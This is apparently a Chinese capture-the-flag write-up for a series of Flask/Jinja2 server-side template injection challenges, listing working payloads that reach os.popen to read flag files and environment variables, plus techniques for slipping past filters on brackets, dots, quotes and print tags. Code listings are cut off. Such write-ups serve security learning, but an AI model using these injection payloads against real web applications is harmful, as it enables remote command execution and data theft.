web361
提示名字就是考点,测试 /?name=a 可以看到 Hello a,改成 { {2*2}} 返回 4 确认存在漏洞。
payload: /?name={ { config.__class__.__init__.__globals__['os'].popen('tac /flag').read()} }
web362
1 | from flask import Flask |
这个 payload 还能用 /?name={ {g.pop.__globals__.__builtins__['__import__']('os').popen('env').read()}}
web363
1 | from flask import Flask |
可以用 request.args.x 传参代替字符串
payload: /?name={ {g.pop.__globals__.__builtins__[request.args.x](request.args.xx).popen(request.args.xxx).read()}}&x=__import__&xx=os&xxx=env
web364
1 | from flask import Flask |
可以用 request.cookies 代替 request.args,还尝试过 request.form 构造畸形 get 流量获取参数未果。
1 | GET /?name={ {g.pop.__globals__.__builtins__[request.cookies.x](request.cookies.xx).popen(request.cookies.xxx).read()}} HTTP/1.1 |
web365
1 | from flask import Flask |
__getitem__ 可以代替方括号。
1 | GET /?name={ {g.pop.__globals__.__builtins__.__getitem__(request.cookies.x)(request.cookies.xx).popen(request.cookies.xxx).read()}} HTTP/1.1 |
web366-367
1 | from flask import Flask |
|attr 可代替 .,找链子的时候注意区别 __getitem__ 和 |attr 。
1 | GET /?name={ {a|attr(request.cookies.c1)|attr(request.cookies.c2)|attr(request.cookies.c3)(request.cookies.c4)|attr(request.cookies.c3)(request.cookies.c5)(request.cookies.x)}} HTTP/1.1 |
web368
1 | from flask import Flask |
可用 { % print(payload) % } 代替 { { payload }}
1 | GET /?name={%print(a|attr(request.cookies.c1)|attr(request.cookies.c2)|attr(request.cookies.c3)(request.cookies.c4)|attr(request.cookies.c3)(request.cookies.c5)(request.cookies.x))%} HTTP/1.1 |
web369
1 | from flask import Flask |
没了 request,要自己拼字符了。
https://jinja.palletsprojects.com/en/3.1.x/templates/#builtin-filters 这些 filters 或许用得到。。。
偷了 generator object select_or_reject 的 _。
1 | {% set pop=dict(p=a,op=a)|join %} #pop |
exp.py
1 | import re |
web370
1 | from flask import Flask |
开始构造数字
1 | import re |
web371-372
1 | from flask import Flask |
不给 print,curl 带外
1 | import re |
原本想弹 shell 的。。